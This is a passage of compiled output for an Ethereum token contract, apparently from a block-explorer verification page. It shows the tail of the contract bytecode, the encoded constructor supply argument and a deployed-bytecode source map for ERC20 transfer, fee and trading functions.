fffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611faf90919063ffffffff16565b600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4c82600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165490919063ffffffff16565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ee181600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165490919063ffffffff16565b600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f81919061225d565b60405180910390a350505b50505050565b600954600681905550600a54600781905550600b54600881905550565b60008183611fbd9190612ab6565b905092915050565b6000806000606460065485611fda9190612aea565b611fe49190612b73565b90506000611ffb8286611faf90919063ffffffff16565b90508082935093505050915091565b600081519050919050565b600082825260208201905092915050565b60005b83811015612044578082015181840152602081019050612029565b83811115612053576000848401525b50505050565b6000601f19601f8301169050919050565b60006120758261200a565b61207f8185612015565b935061208f818560208601612026565b61209881612059565b840191505092915050565b600060208201905081810360008301526120bd818461206a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120f5826120ca565b9050919050565b612105816120ea565b811461211057600080fd5b50565b600081359050612122816120fc565b92915050565b6000819050919050565b61213b81612128565b811461214657600080fd5b50565b60008135905061215881612132565b92915050565b60008060408385031215612175576121746120c5565b5b600061218385828601612113565b925050602061219485828601612149565b9150509250929050565b60008115159050919050565b6121b38161219e565b82525050565b60006020820190506121ce60008301846121aa565b92915050565b6000819050919050565b60006121f96121f46121ef846120ca565b6121d4565b6120ca565b9050919050565b600061220b826121de565b9050919050565b600061221d82612200565b9050919050565b61222d81612212565b82525050565b60006020820190506122486000830184612224565b92915050565b61225781612128565b82525050565b6000602082019050612272600083018461224e565b92915050565b600080600060608486031215612291576122906120c5565b5b600061229f86828701612113565b93505060206122b086828701612113565b92505060406122c186828701612149565b9150509250925092565b600060ff82169050919050565b6122e1816122cb565b82525050565b60006020820190506122fc60008301846122d8565b92915050565b61230b816120ea565b82525050565b60006020820190506123266000830184612302565b92915050565b600060208284031215612342576123416120c5565b5b600061235084828501612113565b91505092915050565b600080604083850312156123705761236f6120c5565b5b600061237e85828601612149565b925050602061238f85828601612149565b9150509250929050565b600080604083850312156123b0576123af6120c5565b5b60006123be85828601612113565b92505060206123cf85828601612113565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061242057607f821691505b602082108103612433576124326123d9565b5b50919050565b600081519050612448816120fc565b92915050565b600060208284031215612464576124636120c5565b5b600061247284828501612439565b91505092915050565b60006040820190506124906000830185612302565b61249d6020830184612302565b9392505050565b6000819050919050565b60006124c96124c46124bf846124a4565b6121d4565b612128565b9050919050565b6124d9816124ae565b82525050565b600060c0820190506124f46000830189612302565b612501602083018861224e565b61250e60408301876124d0565b61251b60608301866124d0565b6125286080830185612302565b61253560a083018461224e565b979650505050505050565b60008151905061254f81612132565b92915050565b60008060006060848603121561256e5761256d6120c5565b5b600061257c86828701612540565b935050602061258d86828701612540565b925050604061259e86828701612540565b9150509250925092565b60006040820190506125bd6000830185612302565b6125ca602083018461224e565b9392505050565b6125da8161219e565b81146125e557600080fd5b50565b6000815190506125f7816125d1565b92915050565b600060208284031215612613576126126120c5565b5b6000612621848285016125e8565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612686602683612015565b91506126918261262a565b604082019050919050565b600060208201905081810360008301526126b581612679565b9050919050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b60006126f2601183612015565b91506126fd826126bc565b602082019050919050565b60006020820190508181036000830152612721816126e5565b9050919050565b7f4552523a205573696e6720302061646472657373210000000000000000000000600082015250565b600061275e601583612015565b915061276982612728565b602082019050919050565b6000602082019050818103600083015261278d81612751565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e2060008201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b60006127f0602583612015565b91506127fb82612794565b604082019050919050565b6000602082019050818103600083015261281f816127e3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061286082612128565b915061286b83612128565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156128a05761289f612826565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128e1602083612015565b91506128ec826128ab565b602082019050919050565b60006020820190508181036000830152612910816128d4565b9050919050565b6000612922826122cb565b915060ff820361293557612934612826565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6129d3816120ea565b82525050565b60006129e583836129ca565b60208301905092915050565b6000602082019050919050565b6000612a098261299e565b612a1381856129a9565b9350612a1e836129ba565b8060005b83811015612a4f578151612a3688826129d9565b9750612a41836129f1565b925050600181019050612a22565b5085935050505092915050565b600060a082019050612a71600083018861224e565b612a7e60208301876124d0565b8181036040830152612a9081866129fe565b9050612a9f6060830185612302565b612aac608083018461224e565b9695505050505050565b6000612ac182612128565b9150612acc83612128565b925082821015612adf57612ade612826565b5b828203905092915050565b6000612af582612128565b9150612b0083612128565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b3957612b38612826565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612b7e82612128565b9150612b8983612128565b925082612b9957612b98612b44565b5b82820490509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a7102e639f2a8dcbbc7f54089a9c6c05d04819642703d67d5781cfe66912c16964736f6c634300080d0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000072cb5bd86321e38cb6ce6682e80000000000

-----Decoded View---------------
Arg [0] : _supplyAmount (uint256): 10000000000000000000000000000000000000000000

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000000072cb5bd86321e38cb6ce6682e80000000000


Deployed Bytecode Sourcemap

14296:8681:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16319:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17030:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18195:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14971:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16596:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14694:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15054:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17199:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16505:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17520:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14727:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15019:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15089:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18023:121;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5946:103;;;;;;;;;;;;;:::i;:::-;;15214:51;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22797:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5711:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16410;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17746:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16704:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22164:625;;;;;;;;;;;;;:::i;:::-;;16879:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6057:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16319:83;16356:13;16389:5;16382:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16319:83;:::o;17030:161::-;17105:4;17122:39;17131:12;:10;:12::i;:::-;17145:7;17154:6;17122:8;:39::i;:::-;17179:4;17172:11;;17030:161;;;;:::o;18195:34::-;;;;;;;;;;;;;:::o;14971:41::-;;;;;;;;;;;;;:::o;16596:100::-;16649:7;16676:12;;16669:19;;16596:100;:::o;14694:26::-;;;;:::o;15054:28::-;;;;;;;;;;;;;:::o;17199:313::-;17297:4;17314:36;17324:6;17332:9;17343:6;17314:9;:36::i;:::-;17361:121;17370:6;17378:12;:10;:12::i;:::-;17392:89;17430:6;17392:89;;;;;;;;;;;;;;;;;:11;:19;17404:6;17392:19;;;;;;;;;;;;;;;:33;17412:12;:10;:12::i;:::-;17392:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;17361:8;:121::i;:::-;17500:4;17493:11;;17199:313;;;;;:::o;16505:83::-;16546:5;16571:9;;;;;;;;;;;16564:16;;16505:83;:::o;17520:218::-;17608:4;17625:83;17634:12;:10;:12::i;:::-;17648:7;17657:50;17696:10;17657:11;:25;17669:12;:10;:12::i;:::-;17657:25;;;;;;;;;;;;;;;:34;17683:7;17657:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;17625:8;:83::i;:::-;17726:4;17719:11;;17520:218;;;;:::o;14727:27::-;;;;:::o;15019:28::-;;;;;;;;;;;;;:::o;15089:40::-;;;;;;;;;;;;;:::o;18023:121::-;18089:7;18116:11;:20;18128:7;18116:20;;;;;;;;;;;;;;;;18109:27;;18023:121;;;:::o;5946:103::-;5670:13;:11;:13::i;:::-;6011:30:::1;6038:1;6011:18;:30::i;:::-;5946:103::o:0;15214:51::-;;;;;;;;;;;;;;;;;;;;;;:::o;22797:175::-;22907:4;22873:38;;:18;:32;22892:12;:10;:12::i;:::-;22873:32;;;;;;;;;;;;;;;;;;;;;;;;;:38;;;22865:47;;;;;;22933:4;22923:7;:14;;;;22959:5;22948:8;:16;;;;22797:175;;:::o;5711:87::-;5757:7;5784:6;;;;;;;;;;;5777:13;;5711:87;:::o;16410:::-;16449:13;16482:7;16475:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16410:87;:::o;17746:269::-;17839:4;17856:129;17865:12;:10;:12::i;:::-;17879:7;17888:96;17927:15;17888:96;;;;;;;;;;;;;;;;;:11;:25;17900:12;:10;:12::i;:::-;17888:25;;;;;;;;;;;;;;;:34;17914:7;17888:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;17856:8;:129::i;:::-;18003:4;17996:11;;17746:269;;;;:::o;16704:167::-;16782:4;16799:42;16809:12;:10;:12::i;:::-;16823:9;16834:6;16799:9;:42::i;:::-;16859:4;16852:11;;16704:167;;;;:::o;22164:625::-;5670:13;:11;:13::i;:::-;22217:32:::1;22271:42;22217:97;;22359:13;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22341:53;;;22403:4;22410:13;:18;;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22341:90;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22325:13;;:106;;;;;;;;;;;;;;;;;;22460:13;22442:15;;:31;;;;;;;;;;;;;;;;;;22484:75;22501:4;22516:15;;;;;;;;;;;22534:24;22552:4;22534:9;:24::i;:::-;22484:8;:75::i;:::-;22570:15;;;;;;;;;;;:31;;;22609:21;22640:4;22646:24;22664:4;22646:9;:24::i;:::-;22671:1;22673::::0;22675:7:::1;:5;:7::i;:::-;22683:15;22570:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;22717:13;;;;;;;;;;;22710:29;;;22748:15;;;;;;;;;;;22766:14;22710:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;22206:583;22164:625::o:0;16879:143::-;16960:7;16987:11;:18;16999:5;16987:18;;;;;;;;;;;;;;;:27;17006:7;16987:27;;;;;;;;;;;;;;;;16980:34;;16879:143;;;;:::o;6057:201::-;5670:13;:11;:13::i;:::-;6166:1:::1;6146:22;;:8;:22;;::::0;6138:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6222:28;6241:8;6222:18;:28::i;:::-;6057:201:::0;:::o;5156:98::-;5209:7;5236:10;5229:17;;5156:98;:::o;18698:266::-;18810:1;18793:19;;:5;:19;;;;:44;;;;;18835:1;18816:21;;:7;:21;;;;18793:44;18785:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;18900:6;18870:11;:18;18882:5;18870:18;;;;;;;;;;;;;;;:27;18889:7;18870:27;;;;;;;;;;;;;;;:36;;;;18938:7;18922:32;;18931:5;18922:32;;;18947:6;18922:32;;;;;;:::i;:::-;;;;;;;;18698:266;;;:::o;18972:1041::-;19112:1;19096:18;;:4;:18;;;;:38;;;;;19132:1;19118:16;;:2;:16;;;;19096:38;19088:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;19188:1;19179:6;:10;19171:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;19272:11;;;;;;;;;;;19261:22;;:7;;;;;;;;;;;:22;;;;:57;;;;;19302:16;;;;;;;;;;;19301:17;19261:57;:95;;;;;19343:13;;;;;;;;;;;19335:21;;:4;:21;;;;19261:95;:133;;;;;19373:21;;;;;;;;;;;19261:133;19244:393;;;19449:1;19439:7;;:11;;;;;;;;;;;;;;;;;;19465:28;19496:24;19514:4;19496:9;:24::i;:::-;19465:55;;19561:1;19538:20;:24;19535:91;;;19578:36;19593:20;19578:14;:36::i;:::-;19535:91;19420:217;19244:393;19651:12;19666:4;19651:19;;19686:18;:24;19705:4;19686:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;19714:18;:22;19733:2;19714:22;;;;;;;;;;;;;;;;;;;;;;;;;19686:50;:119;;;;19741:15;;;;;;;;;;;:40;;;;;19768:13;;;;;;;;;;;19760:21;;:4;:21;;;;19741:40;:63;;;;;19791:13;;;;;;;;;;;19785:19;;:2;:19;;;;19741:63;19686:119;19683:272;;;19831:5;19821:15;;19683:272;;;19866:13;;;;;;;;;;;19858:21;;:4;:21;;;19854:101;;19893:7;;19881:9;:19;;;;19854:101;;;19918:13;;;;;;;;;;;19912:19;;:2;:19;;;19908:47;;19945:8;;19933:9;:20;;;;19908:47;19854:101;19683:272;19967:38;19982:4;19987:2;19990:6;19997:7;19967:14;:38::i;:::-;19075:938;18972:1041;;;:::o;3939:206::-;4025:7;4083:1;4078;:6;;4086:12;4070:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;4125:1;4121;:5;4114:12;;3939:206;;;;;:::o;3515:98::-;3573:7;3604:1;3600;:5;;;;:::i;:::-;3593:12;;3515:98;;;;:::o;5806:132::-;5881:12;:10;:12::i;:::-;5870:23;;:7;:5;:7::i;:::-;:23;;;5862:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5806:132::o;6266:191::-;6340:16;6359:6;;;;;;;;;;;6340:25;;6385:8;6376:6;;:17;;;;;;;;;;;;;;;;;;6440:8;6409:40;;6430:8;6409:40;;;;;;;;;;;;6329:128;6266:191;:::o;20378:229::-;15700:4;15681:16;;:23;;;;;;;;;;;;;;;;;;20462:37:::1;20478:20;20462:15;:37::i;:::-;20510:18;20531:21;20510:42;;20563:36;20571:16;;;;;;;;;;;20588:10;20563:7;:36::i;:::-;20449:158;15746:5:::0;15727:16;;:24;;;;;;;;;;;;;;;;;;20378:229;:::o;21102:332::-;21217:7;21213:107;;21240:14;:12;:14::i;:::-;21213:107;;;21295:7;;:9;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;21213:107;21334:41;21349:6;21357:9;21368:6;21334:14;:41::i;:::-;21392:7;21388:38;;21414:12;:10;:12::i;:::-;21388:38;21102:332;;;;:::o;20619:473::-;20686:21;20724:1;20710:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20686:40;;20755:4;20737;20742:1;20737:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;20781:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20771:4;20776:1;20771:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;20814:62;20831:4;20846:15;;;;;;;;;;;20864:11;20814:8;:62::i;:::-;20887:15;;;;;;;;;;;:66;;;20968:11;20994:1;21011:4;21038;21058:15;20887:197;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20673:419;20619:473;:::o;20021:115::-;20101:6;:15;;:23;20117:6;20101:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20021:115;;:::o;18240:296::-;18299:1;18286:9;;:14;:30;;;;;18315:1;18304:7;;:12;18286:30;:47;;;;;18332:1;18320:8;;:13;18286:47;18335:7;18283:59;18370:7;;18352:15;:25;;;;18408:8;;18389:16;:27;;;;18448:9;;18428:17;:29;;;;18478:1;18468:7;:11;;;;18501:1;18490:8;:12;;;;18525:1;18513:9;:13;;;;18240:296;:::o;21442:715::-;21536:14;21553:9;:20;21563:9;21553:20;;;;;;;;;;;;;;;;;;;;;;;;;:34;;21586:1;21553:34;;;21574:11;;21553:34;21536:51;;21603:9;:20;21613:9;21603:20;;;;;;;;;;;;;;;;;;;;;;;;;21600:550;;;21657:31;21681:6;21657:11;:19;21669:6;21657:19;;;;;;;;;;;;;;;;:23;;:31;;;;:::i;:::-;21635:11;:19;21647:6;21635:19;;;;;;;;;;;;;;;:53;;;;21724:34;21751:6;21724:11;:22;21736:9;21724:22;;;;;;;;;;;;;;;;:26;;:34;;;;:::i;:::-;21699:11;:22;21711:9;21699:22;;;;;;;;;;;;;;;:59;;;;21600:550;;;21786:23;21811:17;21832;21842:6;21832:9;:17::i;:::-;21785:64;;;;21882:31;21906:6;21882:11;:19;21894:6;21882:19;;;;;;;;;;;;;;;;:23;;:31;;;;:::i;:::-;21860:11;:19;21872:6;21860:19;;;;;;;;;;;;;;;:53;;;;21949:43;21976:15;21949:11;:22;21961:9;21949:22;;;;;;;;;;;;;;;;:26;;:43;;;;:::i;:::-;21924:11;:22;21936:9;21924:22;;;;;;;;;;;;;;;:68;;;;22032:41;22063:9;22032:11;:26;22052:4;22032:26;;;;;;;;;;;;;;;;:30;;:41;;;;:::i;:::-;22003:11;:26;22023:4;22003:26;;;;;;;;;;;;;;;:70;;;;22107:9;22090:44;;22099:6;22090:44;;;22118:15;22090:44;;;;;;:::i;:::-;;;;;;;;21774:376;;21600:550;21525:632;21442:715;;;:::o;18544:146::-;18595:17;;18583:9;:29;;;;18629:15;;18619:7;:25;;;;18663:16;;18652:8;:27;;;;18544:146::o;3621:98::-;3679:7;3710:1;3706;:5;;;;:::i;:::-;3699:12;;3621:98;;;;:::o;20144:226::-;20202:7;20211;20231:12;20264:3;20254:9;;20246:7;:17;;;;:::i;:::-;:21;;;;:::i;:::-;20231:36;;20278:23;20304:17;20316:4;20304:7;:11;;:17;;;;:::i;:::-;20278:43;;20340:15;20357:4;20332:30;;;;;;20144:226;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:60::-;3522:3;3543:5;3536:12;;3494:60;;;:::o;3560:142::-;3610:9;3643:53;3661:34;3670:24;3688:5;3670:24;:::i;:::-;3661:34;:::i;:::-;3643:53;:::i;:::-;3630:66;;3560:142;;;:::o;3708:126::-;3758:9;3791:37;3822:5;3791:37;:::i;:::-;3778:50;;3708:126;;;:::o;3840:153::-;3917:9;3950:37;3981:5;3950:37;:::i;:::-;3937:50;;3840:153;;;:::o;3999:185::-;4113:64;4171:5;4113:64;:::i;:::-;4108:3;4101:77;3999:185;;:::o;4190:276::-;4310:4;4348:2;4337:9;4333:18;4325:26;;4361:98;4456:1;4445:9;4441:17;4432:6;4361:98;:::i;:::-;4190:276;;;;:::o;4472:118::-;4559:24;4577:5;4559:24;:::i;:::-;4554:3;4547:37;4472:118;;:::o;4596:222::-;4689:4;4727:2;4716:9;4712:18;4704:26;;4740:71;4808:1;4797:9;4793:17;4784:6;4740:71;:::i;:::-;4596:222;;;;:::o;4824:619::-;4901:6;4909;4917;4966:2;4954:9;4945:7;4941:23;4937:32;4934:119;;;4972:79;;:::i;:::-;4934:119;5092:1;5117:53;5162:7;5153:6;5142:9;5138:22;5117:53;:::i;:::-;5107:63;;5063:117;5219:2;5245:53;5290:7;5281:6;5270:9;5266:22;5245:53;:::i;:::-;5235:63;;5190:118;5347:2;5373:53;5418:7;5409:6;5398:9;5394:22;5373:53;:::i;:::-;5363:63;;5318:118;4824:619;;;;;:::o;5449:86::-;5484:7;5524:4;5517:5;5513:16;5502:27;;5449:86;;;:::o;5541:112::-;5624:22;5640:5;5624:22;:::i;:::-;5619:3;5612:35;5541:112;;:::o;5659:214::-;5748:4;5786:2;5775:9;5771:18;5763:26;;5799:67;5863:1;5852:9;5848:17;5839:6;5799:67;:::i;:::-;5659:214;;;;:::o;5879:118::-;5966:24;5984:5;5966:24;:::i;:::-;5961:3;5954:37;5879:118;;:::o;6003:222::-;6096:4;6134:2;6123:9;6119:18;6111:26;;6147:71;6215:1;6204:9;6200:17;6191:6;6147:71;:::i;:::-;6003:222;;;;:::o;6231:329::-;6290:6;6339:2;6327:9;6318:7;6314:23;6310:32;6307:119;;;6345:79;;:::i;:::-;6307:119;6465:1;6490:53;6535:7;6526:6;6515:9;6511:22;6490:53;:::i;:::-;6480:63;;6436:117;6231:329;;;;:::o;6566:474::-;6634:6;6642;6691:2;6679:9;6670:7;6666:23;6662:32;6659:119;;;6697:79;;:::i;:::-;6659:119;6817:1;6842:53;6887:7;6878:6;6867:9;6863:22;6842:53;:::i;:::-;6832:63;;6788:117;6944:2;6970:53;7015:7;7006:6;6995:9;6991:22;6970:53;:::i;:::-;6960:63;;6915:118;6566:474;;;;;:::o;7046:::-;7114:6;7122;7171:2;7159:9;7150:7;7146:23;7142:32;7139:119;;;7177:79;;:::i;:::-;7139:119;7297:1;7322:53;7367:7;7358:6;7347:9;7343:22;7322:53;:::i;:::-;7312:63;;7268:117;7424:2;7450:53;7495:7;7486:6;7475:9;7471:22;7450:53;:::i;:::-;7440:63;;7395:118;7046:474;;;;;:::o;7526:180::-;7574:77;7571:1;7564:88;7671:4;7668:1;7661:15;7695:4;7692:1;7685:15;7712:320;7756:6;7793:1;7787:4;7783:12;7773:22;;7840:1;7834:4;7830:12;7861:18;7851:81;;7917:4;7909:6;7905:17;7895:27;;7851:81;7979:2;7971:6;7968:14;7948:18;7945:38;7942:84;;7998:18;;:::i;:::-;7942:84;7763:269;7712:320;;;:::o;8038:143::-;8095:5;8126:6;8120:13;8111:22;;8142:33;8169:5;8142:33;:::i;:::-;8038:143;;;;:::o;8187:351::-;8257:6;8306:2;8294:9;8285:7;8281:23;8277:32;8274:119;;;8312:79;;:::i;:::-;8274:119;8432:1;8457:64;8513:7;8504:6;8493:9;8489:22;8457:64;:::i;:::-;8447:74;;8403:128;8187:351;;;;:::o;8544:332::-;8665:4;8703:2;8692:9;8688:18;8680:26;;8716:71;8784:1;8773:9;8769:17;8760:6;8716:71;:::i;:::-;8797:72;8865:2;8854:9;8850:18;8841:6;8797:72;:::i;:::-;8544:332;;;;;:::o;8882:85::-;8927:7;8956:5;8945:16;;8882:85;;;:::o;8973:158::-;9031:9;9064:61;9082:42;9091:32;9117:5;9091:32;:::i;:::-;9082:42;:::i;:::-;9064:61;:::i;:::-;9051:74;;8973:158;;;:::o;9137:147::-;9232:45;9271:5;9232:45;:::i;:::-;9227:3;9220:58;9137:147;;:::o;9290:807::-;9539:4;9577:3;9566:9;9562:19;9554:27;;9591:71;9659:1;9648:9;9644:17;9635:6;9591:71;:::i;:::-;9672:72;9740:2;9729:9;9725:18;9716:6;9672:72;:::i;:::-;9754:80;9830:2;9819:9;9815:18;9806:6;9754:80;:::i;:::-;9844;9920:2;9909:9;9905:18;9896:6;9844:80;:::i;:::-;9934:73;10002:3;9991:9;9987:19;9978:6;9934:73;:::i;:::-;10017;10085:3;10074:9;10070:19;10061:6;10017:73;:::i;:::-;9290:807;;;;;;;;;:::o;10103:143::-;10160:5;10191:6;10185:13;10176:22;;10207:33;10234:5;10207:33;:::i;:::-;10103:143;;;;:::o;10252:663::-;10340:6;10348;10356;10405:2;10393:9;10384:7;10380:23;10376:32;10373:119;;;10411:79;;:::i;:::-;10373:119;10531:1;10556:64;10612:7;10603:6;10592:9;10588:22;10556:64;:::i;:::-;10546:74;;10502:128;10669:2;10695:64;10751:7;10742:6;10731:9;10727:22;10695:64;:::i;:::-;10685:74;;1064